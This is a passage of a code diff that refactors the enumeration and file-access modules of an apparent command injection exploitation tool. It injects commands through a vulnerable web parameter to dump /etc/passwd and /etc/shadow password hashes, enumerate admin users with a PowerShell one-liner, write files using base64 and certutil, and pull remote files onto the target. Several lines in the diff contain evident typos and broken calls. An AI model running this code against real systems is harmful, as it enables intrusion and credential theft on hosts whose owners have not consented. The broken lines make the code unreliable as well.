'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = cb_injector.injection_results(response, TAG, cmd) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -569,11 +297,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index bc9538b1b4..35d6da05d3 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -28,207 +29,96 @@ The "classic" technique on result-based OS command injection. """ -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - dest_to_write = path + "\\" + filname - + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + cmd = checks.write_content(content, dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - # Check if defined cookie injection. + cmd = checks.remove_command_substitution(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") +""" +Read a file from the target host. +""" +def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - + if menu.options.file_write: + file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.FILE_ACCESS_DONE = True + if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 8f90f5b642..abf0292659 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -32,11 +32,12 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -50,30 +51,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() + check.print_ps_version(ps_version,) """ Hostname enumeration """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -89,23 +73,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "Hostname: " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -156,30 +130,20 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -193,27 +157,17 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN if not alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -228,31 +182,20 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) else: settings.SYS_USERS = settings.EVAL_SYS_USERS cmd = settings.SYS_USERS @@ -268,241 +211,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise 